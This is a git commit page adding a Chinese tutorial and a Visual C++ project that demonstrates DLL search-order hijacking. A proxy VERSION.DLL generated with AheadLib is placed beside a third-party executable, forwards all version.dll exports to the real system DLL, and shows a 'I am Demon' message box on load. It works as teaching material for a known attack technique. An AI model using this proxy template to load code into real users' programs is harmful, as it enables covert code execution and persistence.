parent
5bb9949e23
commit
52e19bfe0d
12 changed files with 609 additions and 2 deletions
@ -1,3 +1,72 @@ |
||||
# DllHijack_Test |
||||
# 基于AheadLib工具进行DLL劫持 |
||||
|
||||
基于AheadLib工具进行DLL劫持 |
||||
# 背景 |
||||
|
||||
或许你听过DLL劫持技术,获取你还没有尝试过DLL劫持技术。DLL劫持技术的原理是: |
||||
|
||||
> 由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。 |
||||
|
||||
现在,本文就使用 AheadLib 工具生成劫持代码,对程序进行DLL劫持。现在就把实现原理和过程写成文档,分享给大家。 |
||||
|
||||
# 实现过程 |
||||
|
||||
本文选取劫持的程序是从网上随便下的一个程序“360文件粉碎机独立版.exe”,我们使用 PEview.exe 查看改程序的导入表,主要是看有程序需要导入哪些DLL文件。 |
||||
|
||||
![](http://www.write-bug.com/myres/static/uploads/2021/10/19/8f6c4de1c513e429aab34be2aeda35a5.writebug) |
||||
|
||||
观察导入的DLL,类似KERNEL32.DLL、USER32.DLL等受系统保护的重要DLL,劫持难度比较大,所以,我们选择VERSION.DLL。至于,判断是不是受系统保护的DLL,可以查看注册表里面的键值,里面的DLL都是系统保护的,加载路径固定: |
||||
|
||||
``` |
||||
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\knowndlls |
||||
``` |
||||
|
||||
然后,确定劫持的DLL文件之后,我们使用 AheadLib 工具来生成DLL劫持代码: |
||||
|
||||
![](http://www.write-bug.com/myres/static/uploads/2021/10/19/9c4fbd4e61606ddb52a8d1b5b6a46a58.writebug) |
||||
|
||||
接着,新建一个DLL工程,把AheadLib工具生成的代码拷贝到DLL工程中,同时,我们在DLL的入口点函数DllMain中增加一行弹窗代码,这样可以提示我们DLL劫持成功。然后编译链接,生成DLL文件。这个我们自己编译生成的DLL文件,就可以把DLL名称改成“VERSION.DLL”,放到和“360文件粉碎机独立版.exe”程序在同一目录下,运行程序,则会加载同一目录下的“VERSION.DLL”。 |
||||
|
||||
为了验证DLL程序是否能成功劫持,我们把改名后的“VERSION.DLL”和“360文件粉碎机独立版.exe”放在桌面,然后,运行程序,这是,成功弹窗: |
||||
|
||||
![](http://www.write-bug.com/myres/static/uploads/2021/10/19/cc3b44453298ce94a7b7b3ef9d32a9fa.writebug) |
||||
|
||||
我们使用 Process Explorer 工具查看下“360文件粉碎机独立版.exe”进程加载的DLL情况: |
||||
|
||||
![](http://www.write-bug.com/myres/static/uploads/2021/10/19/1b7ca3819105215b8bbefe0bd7228b74.writebug) |
||||
|
||||
可以看到,我们自己的version.dll成功被加载,而且还加载了系统的version.dll。之所以会加载系统的version.dll文件,是因为我们自己的DLL文件中,会加载version.dll文件。 |
||||
|
||||
# 编码实现 |
||||
|
||||
现在,我给出version.dll劫持部分入口点部分的代码,其余的代码都是使用AheadLib工具生成的,自己在入口点添加了一行弹窗的代码而已。 |
||||
|
||||
```c++ |
||||
// 入口函数 |
||||
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) |
||||
{ |
||||
if (dwReason == DLL_PROCESS_ATTACH) |
||||
{ |
||||
DisableThreadLibraryCalls(hModule); |
||||
|
||||
::MessageBox(NULL, "I am Demon", "CDIY", MB_OK); |
||||
|
||||
return Load(); |
||||
} |
||||
else if (dwReason == DLL_PROCESS_DETACH) |
||||
{ |
||||
Free(); |
||||
} |
||||
|
||||
return TRUE; |
||||
} |
||||
``` |
||||
|
||||
# 总结 |
||||
|
||||
有了AheadLib劫持代码生成工具的帮助,使得DLL劫持变得很轻松。本文的文档自己极力简化了,大家只要认真跟着步骤操作,应该可以看得懂的。 |
||||
|
||||
注意,本文演示的例子实在 Windows7 32位系统上,对于64位系统,原理是一样的,对于代码劫持工具也可以换成 AheadLib 64位版本的。 |
||||
|
||||
# 参考 |
||||
|
||||
参考自《[Windows黑客编程技术详解](https://www.write-bug.com/article/1811.html "Windows黑客编程技术详解")》一书 |
Binary file not shown.
@ -0,0 +1,6 @@ |
||||
// DllHijack_Test.cpp : 定义 DLL 应用程序的导出函数。
|
||||
//
|
||||
|
||||
#include "stdafx.h" |
||||
|
||||
|
@ -0,0 +1,302 @@ |
||||
// dllmain.cpp : 定义 DLL 应用程序的入口点。
|
||||
#include "stdafx.h" |
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 头文件
|
||||
#include <Windows.h> |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
#pragma comment(linker, "/EXPORT:GetFileVersionInfoA=_AheadLib_GetFileVersionInfoA,@1") |
||||
#pragma comment(linker, "/EXPORT:GetFileVersionInfoByHandle=_AheadLib_GetFileVersionInfoByHandle,@2") |
||||
#pragma comment(linker, "/EXPORT:GetFileVersionInfoExW=_AheadLib_GetFileVersionInfoExW,@3") |
||||
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeA=_AheadLib_GetFileVersionInfoSizeA,@4") |
||||
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeExW=_AheadLib_GetFileVersionInfoSizeExW,@5") |
||||
#pragma comment(linker, "/EXPORT:GetFileVersionInfoSizeW=_AheadLib_GetFileVersionInfoSizeW,@6") |
||||
#pragma comment(linker, "/EXPORT:GetFileVersionInfoW=_AheadLib_GetFileVersionInfoW,@7") |
||||
#pragma comment(linker, "/EXPORT:VerFindFileA=_AheadLib_VerFindFileA,@8") |
||||
#pragma comment(linker, "/EXPORT:VerFindFileW=_AheadLib_VerFindFileW,@9") |
||||
#pragma comment(linker, "/EXPORT:VerInstallFileA=_AheadLib_VerInstallFileA,@10") |
||||
#pragma comment(linker, "/EXPORT:VerInstallFileW=_AheadLib_VerInstallFileW,@11") |
||||
#pragma comment(linker, "/EXPORT:VerLanguageNameA=_AheadLib_VerLanguageNameA,@12") |
||||
#pragma comment(linker, "/EXPORT:VerLanguageNameW=_AheadLib_VerLanguageNameW,@13") |
||||
#pragma comment(linker, "/EXPORT:VerQueryValueA=_AheadLib_VerQueryValueA,@14") |
||||
#pragma comment(linker, "/EXPORT:VerQueryValueW=_AheadLib_VerQueryValueW,@15") |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 宏定义
|
||||
#define EXTERNC extern "C" |
||||
#define NAKED __declspec(naked) |
||||
#define EXPORT __declspec(dllexport) |
||||
|
||||
#define ALCPP EXPORT NAKED |
||||
#define ALSTD EXTERNC EXPORT NAKED void __stdcall |
||||
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall |
||||
#define ALCDECL EXTERNC NAKED void __cdecl |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// AheadLib 命名空间
|
||||
namespace AheadLib |
||||
{ |
||||
HMODULE m_hModule = NULL; // 原始模块句柄
|
||||
DWORD m_dwReturn[15] = { 0 }; // 原始函数返回地址
|
||||
|
||||
|
||||
// 加载原始模块
|
||||
inline BOOL WINAPI Load() |
||||
{ |
||||
TCHAR tzPath[MAX_PATH]; |
||||
TCHAR tzTemp[MAX_PATH * 2]; |
||||
|
||||
GetSystemDirectory(tzPath, MAX_PATH); |
||||
lstrcat(tzPath, TEXT("\\version")); |
||||
m_hModule = LoadLibrary(tzPath); |
||||
if (m_hModule == NULL) |
||||
{ |
||||
wsprintf(tzTemp, TEXT("无法加载 %s,程序无法正常运行。"), tzPath); |
||||
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); |
||||
} |
||||
|
||||
return (m_hModule != NULL); |
||||
} |
||||
|
||||
// 释放原始模块
|
||||
inline VOID WINAPI Free() |
||||
{ |
||||
if (m_hModule) |
||||
{ |
||||
FreeLibrary(m_hModule); |
||||
} |
||||
} |
||||
|
||||
// 获取原始函数地址
|
||||
FARPROC WINAPI GetAddress(PCSTR pszProcName) |
||||
{ |
||||
FARPROC fpAddress; |
||||
CHAR szProcName[16]; |
||||
TCHAR tzTemp[MAX_PATH]; |
||||
|
||||
fpAddress = GetProcAddress(m_hModule, pszProcName); |
||||
if (fpAddress == NULL) |
||||
{ |
||||
if (HIWORD(pszProcName) == 0) |
||||
{ |
||||
wsprintf(szProcName, "%d", pszProcName); |
||||
pszProcName = szProcName; |
||||
} |
||||
|
||||
wsprintf(tzTemp, TEXT("无法找到函数 %hs,程序无法正常运行。"), pszProcName); |
||||
MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); |
||||
ExitProcess(-2); |
||||
} |
||||
|
||||
return fpAddress; |
||||
} |
||||
} |
||||
using namespace AheadLib; |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 入口函数
|
||||
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) |
||||
{ |
||||
if (dwReason == DLL_PROCESS_ATTACH) |
||||
{ |
||||
DisableThreadLibraryCalls(hModule); |
||||
|
||||
::MessageBox(NULL, "I am Demon", "CDIY", MB_OK); |
||||
|
||||
return Load(); |
||||
} |
||||
else if (dwReason == DLL_PROCESS_DETACH) |
||||
{ |
||||
Free(); |
||||
} |
||||
|
||||
return TRUE; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_GetFileVersionInfoA(void) |
||||
{ |
||||
GetAddress("GetFileVersionInfoA"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_GetFileVersionInfoByHandle(void) |
||||
{ |
||||
GetAddress("GetFileVersionInfoByHandle"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_GetFileVersionInfoExW(void) |
||||
{ |
||||
GetAddress("GetFileVersionInfoExW"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_GetFileVersionInfoSizeA(void) |
||||
{ |
||||
GetAddress("GetFileVersionInfoSizeA"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_GetFileVersionInfoSizeExW(void) |
||||
{ |
||||
GetAddress("GetFileVersionInfoSizeExW"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_GetFileVersionInfoSizeW(void) |
||||
{ |
||||
GetAddress("GetFileVersionInfoSizeW"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_GetFileVersionInfoW(void) |
||||
{ |
||||
GetAddress("GetFileVersionInfoW"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_VerFindFileA(void) |
||||
{ |
||||
GetAddress("VerFindFileA"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_VerFindFileW(void) |
||||
{ |
||||
GetAddress("VerFindFileW"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_VerInstallFileA(void) |
||||
{ |
||||
GetAddress("VerInstallFileA"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_VerInstallFileW(void) |
||||
{ |
||||
GetAddress("VerInstallFileW"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_VerLanguageNameA(void) |
||||
{ |
||||
GetAddress("VerLanguageNameA"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_VerLanguageNameW(void) |
||||
{ |
||||
GetAddress("VerLanguageNameW"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_VerQueryValueA(void) |
||||
{ |
||||
GetAddress("VerQueryValueA"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 导出函数
|
||||
ALCDECL AheadLib_VerQueryValueW(void) |
||||
{ |
||||
GetAddress("VerQueryValueW"); |
||||
__asm JMP EAX; |
||||
} |
||||
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
|
@ -0,0 +1,8 @@ |
||||
// stdafx.cpp : 只包括标准包含文件的源文件
|
||||
// DllHijack_Test.pch 将作为预编译头
|
||||
// stdafx.obj 将包含预编译类型信息
|
||||
|
||||
#include "stdafx.h" |
||||
|
||||
// TODO: 在 STDAFX.H 中
|
||||
// 引用任何所需的附加头文件,而不是在此文件中引用
|
@ -0,0 +1,16 @@ |
||||
// stdafx.h : 标准系统包含文件的包含文件,
|
||||
// 或是经常使用但不常更改的
|
||||
// 特定于项目的包含文件
|
||||
//
|
||||
|
||||
#pragma once |
||||
|
||||
#include "targetver.h" |
||||
|
||||
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的信息
|
||||
// Windows 头文件:
|
||||
#include <windows.h> |
||||
|
||||
|
||||
|
||||
// TODO: 在此处引用程序需要的其他头文件
|
@ -0,0 +1,8 @@ |
||||
#pragma once |
||||
|
||||
// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
|
||||
|
||||
// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
|
||||
// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
|
||||
|
||||
#include <SDKDDKVer.h> |
Binary file not shown.
Loading…
Reference in new issue